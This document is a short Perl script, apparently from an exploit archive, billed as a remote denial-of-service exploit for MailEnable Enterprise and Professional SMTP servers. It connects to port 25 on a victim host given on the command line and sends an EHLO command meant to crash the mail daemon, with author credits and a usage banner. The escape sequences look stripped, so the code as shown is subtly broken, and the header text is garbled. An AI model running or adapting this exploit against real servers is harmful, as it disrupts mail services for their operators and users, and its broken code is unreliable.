#!/usr/bin/perl
##################################################################################
#MailEnable (Enterprise <= 1.04)-(Professional <= 1.54 SMTPd remote DOS exploit  #        
#                                                                                #
#                                                                                #   
#this tools causes the crash of the demon SMTP of mailenable                     #
#the bug and' caused he/she knows an unicode string sent to the command          #
#EHLO                                                                            #
#                                                                                #
#BUG discovered By CorryL                                                        # 
#Coded by CorryL                                                                 #  
#  	                                                  info: www.x0n3-h4ck.org#
##################################################################################
use IO::Socket; 
use Getopt::Std; getopts('h:', %args);


if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "n-=[MailEnable (Enterprise & Professional) SMTPd remote DOS exploit]=-n";
print STDERR "-=[                                                               ]=-n";
print STDERR "-=[ Discovered & Coded by CorryL            info:www.x0n3-h4ck.org]=-n";
print STDERR "-=[ irc.xoned.net #x0n3-h4ck                 corryl80[at]gmail.com]=-nn";

if (!defined($host)) {
Usage();
}

$bof = "x99";
print "[+]Connecting to the Host $hostn";
$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 25,
                                Proto => 'tcp');
                                die unless $socket;
                                print "[+]Sending Unicode Stringn";
                                print $socket "EHLO $bofrn";
                                print "[+]Server is Killed!n";  
                              

close;

sub Usage {
print STDERR "Usage:
-h Victim host.nn";
exit;
}

# www.Syue.com [2005-04-05]